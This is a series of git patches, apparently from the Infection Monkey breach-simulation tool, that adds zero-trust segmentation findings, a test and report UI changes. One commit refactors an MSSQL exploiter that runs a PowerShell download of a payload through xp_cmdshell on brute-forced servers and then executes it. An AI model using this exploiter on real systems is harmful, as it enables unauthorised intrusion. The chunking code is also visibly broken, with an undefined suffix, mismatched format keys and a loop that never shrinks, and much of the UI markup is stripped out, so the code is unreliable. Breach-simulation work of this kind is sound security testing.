Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 26 Aug 2019 14:23:14 +0300 Subject: [PATCH 159/276] Added positive segmentation findings --- .../zero_trust_tests/segmentation.py | 50 ++++++++++++++---- .../test_segmentation_zt_tests.py | 51 +++++++++++++++++++ 2 files changed, 90 insertions(+), 11 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index 647db59fc..bb447d992 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -1,7 +1,8 @@ import itertools from six import text_type -from common.data.zero_trust_consts import STATUS_CONCLUSIVE, EVENT_TYPE_MONKEY_NETWORK +from common.data.zero_trust_consts import STATUS_CONCLUSIVE, EVENT_TYPE_MONKEY_NETWORK, STATUS_POSITIVE, \ + EVENT_TYPE_ISLAND from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet from monkey_island.cc.models import Monkey @@ -29,15 +30,11 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s return cross_segment_ip is not None -def test_segmentation_violation(telemetry_json): - """ - - :param telemetry_json: A SCAN telemetry sent from a Monkey. - """ +def test_segmentation_violation(scan_telemetry_json): # TODO - lower code duplication between this and report.py. # TODO - single machine - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - target_ip = telemetry_json['data']['machine']['ip_addr'] + current_monkey = Monkey.get_single_monkey_by_guid(scan_telemetry_json['monkey_guid']) + target_ip = scan_telemetry_json['data']['machine']['ip_addr'] subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: subnet_pairs = itertools.product(subnet_group, subnet_group) @@ -67,6 +64,37 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t ) -def test_positive_findings_for_unreached_segments(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - subnet_groups = get_config_network_segments_as_subnet_groups() +def test_positive_findings_for_unreached_segments(state_telemetry_json): + flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] + current_monkey = Monkey.get_single_monkey_by_guid(state_telemetry_json['monkey_guid']) + create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) + + +def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): + # Filter the subnets that this monkey is part of. + this_monkey_subnets = [] + for subnet in all_subnets: + if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None: + this_monkey_subnets.append(subnet) + + # Get all the other subnets. + other_subnets = list(set(all_subnets) - set(this_monkey_subnets)) + + # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey + # should have tested. + all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets) + + for subnet_pair in all_subnets_pairs_for_this_monkey: + SegmentationFinding.create_or_add_to_existing_finding( + subnets=list(subnet_pair), + status=STATUS_POSITIVE, + segmentation_event=Event.create_event( + "Segmentation test done", + message="Monkey on {hostname} is done attempting cross-segment communications from `{src_seg}` " + "segments to `{dst_seg}` segments.".format( + hostname=current_monkey.hostname, + src_seg=subnet_pair[0], + dst_seg=subnet_pair[1]), + event_type=EVENT_TYPE_ISLAND + ) + ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py new file mode 100644 index 000000000..f345d4482 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py @@ -0,0 +1,51 @@ +import uuid + +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_POSITIVE, STATUS_CONCLUSIVE, \ + EVENT_TYPE_MONKEY_NETWORK +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import create_or_add_findings_for_all_pairs +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + +FIRST_SUBNET = "1.1.1.1" +SECOND_SUBNET = "2.2.2.0/24" +THIRD_SUBNET = "3.3.3.3-3.3.3.200" + + +class TestSegmentationTests(IslandTestCase): + def test_create_findings_for_all_done_pairs(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] + + monkey = Monkey( + guid=str(uuid.uuid4()), + ip_addresses=[FIRST_SUBNET]) + + # no findings + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + + # This is like the monkey is done and sent done telem + create_or_add_findings_for_all_pairs(all_subnets, monkey) + + # There are 2 subnets in which the monkey is NOT + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_POSITIVE)), 2) + + # This is a monkey from 2nd subnet communicated with 1st subnet. + SegmentationFinding.create_or_add_to_existing_finding( + [FIRST_SUBNET, SECOND_SUBNET], + STATUS_CONCLUSIVE, + Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK) + ) + + print("Printing all segmentation findings") + all_findings = Finding.objects(test=TEST_SEGMENTATION) + for f in all_findings: + print(f.to_json()) + + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_POSITIVE)), 1) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_CONCLUSIVE)), 1) + self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2) From 05a1b2d235e2454ec93a58ed3507688746362e0c Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 26 Aug 2019 15:24:55 +0300 Subject: [PATCH 160/276] Remove type hint as it doesn't work well with python2. :cry: --- monkey/common/network/segmentation_utils.py | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py index 97adbd203..6569d636b 100644 --- a/monkey/common/network/segmentation_utils.py +++ b/monkey/common/network/segmentation_utils.py @@ -1,14 +1,10 @@ -from common.network.network_range import NetworkRange - - def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): - # type: (List[str], NetworkRange, NetworkRange) -> Union[str, None] """ Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. - :param ip_addresses: List of IP addresses to test. - :param source_subnet: Subnet to want an IP to not be in. - :param target_subnet: Subnet we want an IP to be in. - :return: The cross segment IP if in source but not in target, else None. + :param ip_addresses: List[str]: List of IP addresses to test. + :param source_subnet: NetworkRange: Subnet to want an IP to not be in. + :param target_subnet: NetworkRange: Subnet we want an IP to be in. + :return: The cross segment IP if in source but not in target, else None. Union[str, None] """ if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None: return None From 3ebd7ed02dc246c4744f64666c48b26557550976 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 26 Aug 2019 18:49:58 +0300 Subject: [PATCH 161/276] MSSQL refactored to dynamically split exploitation commands into smaller chunks --- monkey/infection_monkey/exploit/mssqlexec.py | 70 ++++++++++++++++---- 1 file changed, 56 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index e4eaf3151..a15801d12 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter): SQL_DEFAULT_TCP_PORT = '1433' # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' + MAX_XP_CMDSHELL_SIZE = 128 + + EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \">%%(payload_file_path)s" + MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ + "DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter): commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()] MSSQLExploiter.execute_command(cursor, commands) - # Form download command in a file - commands = [ - "xp_cmdshell \"%s\"" % tmp_file_path, - "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), - "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] + # Form download command + download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path} + # Form suffix + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path} + + exploit_command = MSSQLCommand(download_command, + prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX, + suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE) + # Split command into chunks mssql xp_cmdshell can execute + commands = exploit_command.split_into_array_of_smaller_strings() + MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) self.add_executed_cmd(' '.join(commands)) @@ -106,17 +119,17 @@ class MSSQLExploiter(HostExploiter): def brute_force(self, host, port, users_passwords_pairs_list): """ - Starts the brute force connection attempts and if needed then init the payload process. - Main loop starts here. + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. - Args: - host (str): Host ip address - port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with - Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not - """ + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ # Main loop # Iterates on users list for user, password in users_passwords_pairs_list: @@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) return None + + +class MSSQLCommand(object): + + def __init__(self, command, max_length, prefix="", suffix=""): + self.command = command + self.max_length = max_length + self.prefix = prefix + self.suffix = suffix + + def get_full_command(self, command): + return "{}{}{}".format(self.prefix, command, self.suffix) + + def split_into_array_of_smaller_strings(self): + remaining_command_to_split = self.command + commands = [] + while self.command_is_too_long(self.get_full_command(remaining_command_to_split)): + command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split) + commands.append(self.get_full_command(command_of_max_len)) + if remaining_command_to_split: + commands.append(remaining_command_to_split) + return commands + + def split_at_max_length(self, command): + substring_size = self.max_length - len(self.prefix) - len(self.command) - 1 + return self.get_full_command(command[0:substring_size]), command[substring_size:] + + def command_is_too_long(self, command): + return len(command)+len(self.prefix)+len(self.suffix) > self.max_length From 6cd5cff8182c6a4ac73718cf9309746463bc0b03 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 27 Aug 2019 11:25:41 +0300 Subject: [PATCH 162/276] Added a collapsible report legend and redid the Summary section --- .../components/pages/ZeroTrustReportPage.js | 16 ++++- .../zerotrust/ReportLegend.js | 69 +++++++++++++++++++ .../zerotrust/StatusLabel.js | 8 ++- .../zerotrust/ZeroTrustPillars.js | 7 ++ 4 files changed, 94 insertions(+), 6 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 989af82a8..f1a4de673 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -12,6 +12,7 @@ import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlan import StatusesToPillarsSummary from "../report-components/zerotrust/StatusesToPillarsSummary"; import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; +import ZeroTrustReportLegend from "../report-components/zerotrust/ReportLegend"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -114,16 +115,25 @@ class ZeroTrustReportPageComponent extends AuthComponent { generateOverviewSection() { return (
    -

    Overview

    +

    Summary

    + +
    + +

    + Get a quick glance of the status for each of Zero Trust's seven pillars. +

    + +
    + + + - - diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js new file mode 100644 index 000000000..b12cbf5ba --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -0,0 +1,69 @@ +import React, {Component} from "react"; +import StatusLabel from "./StatusLabel"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import {NavLink} from "react-router-dom"; +import {Panel} from "react-bootstrap"; + + +class ZeroTrustReportLegend extends Component { + render() { + const legendContent = this.getLegendContent(); + + return ( + + + +

    🔽 Legend

    +
    +
    + + + {legendContent} + + +
    + ); + } + + getLegendContent() { + return
    +

    What is this?

    +

    + The Zero Trust eXtended framework categorizes its recommendations into 7 pillars. Infection Monkey + Zero Trust edition tests some of those recommendations. The tests that the monkey executes + produce findings. The tests, recommendations and pillars are then granted a status in accordance + with the tests results. +

    +

    Statuses

    +
      +
    • +
      + +
      + {"\t"}The test failed; the monkeys found something wrong. +
    • +
    • +
      + +
      + {"\t"}The test was executed, but manual verification is required to determine the results. +
    • +
    • +
      + +
      + {"\t"}This status means the test passed 🙂 +
    • +
    • +
      + +
      + {"\t"}This status means the test wasn't executed. Some of the tests can be activated or deactivated using + the configuration. +
    • +
    +
    ; + } +} + +export default ZeroTrustReportLegend; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js index f9c885b2c..6b3243280 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -22,9 +22,11 @@ export default class StatusLabel extends Component { text = " " + this.props.status; } - return (
    - {text} -
    ); + return ( +
    + {text} +
    + ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js index bd8898205..6bc425be0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js @@ -8,4 +8,11 @@ export const ZeroTrustPillars = { automation: "Automation & Orchestration" }; +export const ZeroTrustStatuses = { + conclusive: "Conclusive", + inconclusive: "Inconclusive", + positive: "Positive", + unexecuted: "Unexecuted" +}; + export default ZeroTrustPillars; From 07eb9ec32f62bb086ec47627d73ff9bfb159b864 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 27 Aug 2019 11:58:15 +0300 Subject: [PATCH 163/276] A lot of small UI changes, trying to make the report look more polished. --- .../components/pages/ZeroTrustReportPage.js | 10 +++++++- .../zerotrust/DirectivesStatusTable.js | 12 +++++----- .../zerotrust/EventsAndButtonComponent.js | 24 ++++++++----------- .../zerotrust/EventsModal.js | 7 ++++++ .../zerotrust/ExportEventsButton.js | 15 ++++++++++++ .../zerotrust/FindingsTable.js | 23 ++++++++++-------- .../zerotrust/SinglePillarDirectivesStatus.js | 19 +++++++++++---- 7 files changed, 75 insertions(+), 35 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index f1a4de673..7b1369dbc 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -8,7 +8,6 @@ import SinglePillarDirectivesStatus from "../report-components/zerotrust/SingleP import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; -import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance"; import StatusesToPillarsSummary from "../report-components/zerotrust/StatusesToPillarsSummary"; import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; @@ -94,6 +93,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { generateFindingsSection() { return (

    Findings

    +

    + Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things + happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper + insight as to what exactly happened during this test. +

    ); } @@ -101,6 +105,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { generateDirectivesSection() { return (

    Directives

    +

    + Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results + to understand how the monkey tested your adherence to that recommendation. +

    { Object.keys(this.state.directives).map((pillar) => { return ; - } + }, + maxWidth: 80 + }, + { Header: 'Directive', accessor: 'directive', + style: {'whiteSpace': 'unset'} // This enables word wrap }, { Header: 'Tests', id: 'tests', style: {'whiteSpace': 'unset'}, // This enables word wrap @@ -56,7 +56,7 @@ class TestsStatus extends AuthComponent { return (
  • {test.test}
  • ) }); return - +
      {listItems}
    ; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js index 0222b375f..0b96f8fc2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js @@ -3,6 +3,7 @@ import EventsModal from "./EventsModal"; import {Button} from "react-bootstrap"; import FileSaver from "file-saver"; import * as PropTypes from "prop-types"; +import ExportEventsButton from "./ExportEventsButton"; export default class EventsAndButtonComponent extends Component { constructor(props) { @@ -23,22 +24,17 @@ export default class EventsAndButtonComponent extends Component { render() { return (
    - -

    - - -

    + { + const content = JSON.stringify(this.props.events, null, 2); + const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); + FileSaver.saveAs(blob, this.props.exportFilename + ".json"); + }}/> +
    ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js index 9543603bd..5da053242 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -2,6 +2,8 @@ import React, {Component} from "react"; import {Modal} from "react-bootstrap"; import EventsTimeline from "./EventsTimeline"; import * as PropTypes from "prop-types"; +import FileSaver from "file-saver"; +import ExportEventsButton from "./ExportEventsButton"; export default class EventsModal extends Component { constructor(props) { @@ -24,6 +26,11 @@ export default class EventsModal extends Component { onClick={() => this.props.hideCallback()}> Close + { + const content = JSON.stringify(this.props.events, null, 2); + const blob = new Blob([content], {type: "text/plain;charset=utf-8"}); + FileSaver.saveAs(blob, this.props.exportFilename + ".json"); + }}/> diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js new file mode 100644 index 000000000..b75516e2c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js @@ -0,0 +1,15 @@ +import React, {Component} from "react"; +import {Button} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +export default class ExportEventsButton extends Component { + render() { + return + } +} + +ExportEventsButton.propTypes = {onClick: PropTypes.func}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 9d706b3f2..658d6d039 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -1,4 +1,4 @@ -import React, {Component} from "react"; +import React, {Component, Fragment} from "react"; import PillarLabel from "./PillarLabel"; import PaginatedTable from "../common/PaginatedTable"; import EventsAndButtonComponent from "./EventsAndButtonComponent"; @@ -6,24 +6,27 @@ import EventsAndButtonComponent from "./EventsAndButtonComponent"; const columns = [ { - Header: 'Findings', columns: [ - { Header: 'Finding', accessor: 'test', - style: {'whiteSpace': 'unset'} // This enables word wrap - }, { Header: 'Pillars', id: "pillars", accessor: x => { const pillars = x.pillars; - const listItems = pillars.map((pillar) => -
  • + const pillarLabels = pillars.map((pillar) => + ); - return
      {listItems}
    ; - } + return {pillarLabels}; + }, + maxWidth: 200, + style: {'whiteSpace': 'unset'} }, + { Header: 'Finding', accessor: 'test', + style: {'whiteSpace': 'unset'} // This enables word wrap + }, + { Header: 'Events', id:"events", accessor: x => { return ; - } + }, + maxWidth: 160, } ] } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js index 47f477dfd..9a5f9723d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js @@ -3,6 +3,7 @@ import PillarLabel from "./PillarLabel"; import DirectivesStatusTable from "./DirectivesStatusTable"; import React, {Fragment} from "react"; import * as PropTypes from "prop-types"; +import {Panel} from "react-bootstrap"; export default class SinglePillarDirectivesStatus extends AuthComponent { render() { @@ -11,10 +12,20 @@ export default class SinglePillarDirectivesStatus extends AuthComponent { } else { return ( - -

    - -
    + + + +

    + 🔽 +

    +
    +
    + + + + + +
    ); } } From 32bc318c69579e4f2e84f8cce3f5613decc780f6 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 27 Aug 2019 14:33:29 +0300 Subject: [PATCH 164/276] Refactored directives to recommendations (still WIP) --- .../components/pages/ZeroTrustReportPage.js | 20 +++++----- .../zerotrust/FindingsTable.js | 2 +- ...Table.js => RecommendationsStatusTable.js} | 8 ++-- .../zerotrust/ReportLegend.js | 2 +- .../zerotrust/SinglePillarDirectivesStatus.js | 37 ------------------- .../SinglePillarRecommendationsStatus.js | 37 +++++++++++++++++++ 6 files changed, 54 insertions(+), 52 deletions(-) rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{DirectivesStatusTable.js => RecommendationsStatusTable.js} (88%) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 7b1369dbc..5c6b24614 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -4,7 +4,7 @@ import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; import PillarsOverview from "../report-components/zerotrust/PillarOverview"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; -import SinglePillarDirectivesStatus from "../report-components/zerotrust/SinglePillarDirectivesStatus"; +import SinglePillarRecommendationsStatus from "../report-components/zerotrust/SinglePillarRecommendationsStatus"; import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; @@ -103,18 +103,18 @@ class ZeroTrustReportPageComponent extends AuthComponent { } generateDirectivesSection() { - return (
    -

    Directives

    + return (
    +

    Recommendations

    Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results to understand how the monkey tested your adherence to that recommendation.

    { Object.keys(this.state.directives).map((pillar) => - ) } @@ -126,15 +126,12 @@ class ZeroTrustReportPageComponent extends AuthComponent {

    Summary

    -
    +

    Get a quick glance of the status for each of Zero Trust's seven pillars.

    -
    - - @@ -145,6 +142,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { + + + + + ); } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 658d6d039..6d43f3cda 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -13,7 +13,7 @@ const columns = [ const pillarLabels = pillars.map((pillar) => ); - return {pillarLabels}; + return
    {pillarLabels}
    ; }, maxWidth: 200, style: {'whiteSpace': 'unset'} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js similarity index 88% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js index 26e272200..67891da64 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js @@ -15,7 +15,7 @@ const columns = [ }, maxWidth: 80 }, - { Header: 'Directive', accessor: 'directive', + { Header: 'Recommendation', accessor: 'directive', style: {'whiteSpace': 'unset'} // This enables word wrap }, { Header: 'Tests', id: 'tests', @@ -64,12 +64,12 @@ class TestsStatus extends AuthComponent { } } -export class DirectivesStatusTable extends AuthComponent { +export class RecommendationsStatusTable extends AuthComponent { render() { return ; } } -export default DirectivesStatusTable; +export default RecommendationsStatusTable; -DirectivesStatusTable.propTypes = {directivesStatus: PropTypes.array}; +RecommendationsStatusTable.propTypes = {directivesStatus: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index b12cbf5ba..05905bccc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -13,7 +13,7 @@ class ZeroTrustReportLegend extends Component { -

    🔽 Legend

    +

    Legend

    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js deleted file mode 100644 index 9a5f9723d..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js +++ /dev/null @@ -1,37 +0,0 @@ -import AuthComponent from "../../AuthComponent"; -import PillarLabel from "./PillarLabel"; -import DirectivesStatusTable from "./DirectivesStatusTable"; -import React, {Fragment} from "react"; -import * as PropTypes from "prop-types"; -import {Panel} from "react-bootstrap"; - -export default class SinglePillarDirectivesStatus extends AuthComponent { - render() { - if (this.props.directivesStatus.length === 0) { - return null; - } - else { - return ( - - - -

    - 🔽 -

    -
    -
    - - - - - -
    - ); - } - } -} - -SinglePillarDirectivesStatus.propTypes = { - directivesStatus: PropTypes.array, - pillar: PropTypes.string, -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js new file mode 100644 index 000000000..cd2ce6420 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js @@ -0,0 +1,37 @@ +import AuthComponent from "../../AuthComponent"; +import PillarLabel from "./PillarLabel"; +import RecommendationsStatusTable from "./RecommendationsStatusTable"; +import React from "react"; +import * as PropTypes from "prop-types"; +import {Panel} from "react-bootstrap"; + +export default class SinglePillarRecommendationsStatus extends AuthComponent { + render() { + if (this.props.recommendationsStatus.length === 0) { + return null; + } + else { + return ( + + + +

    + +

    +
    +
    + + + + + +
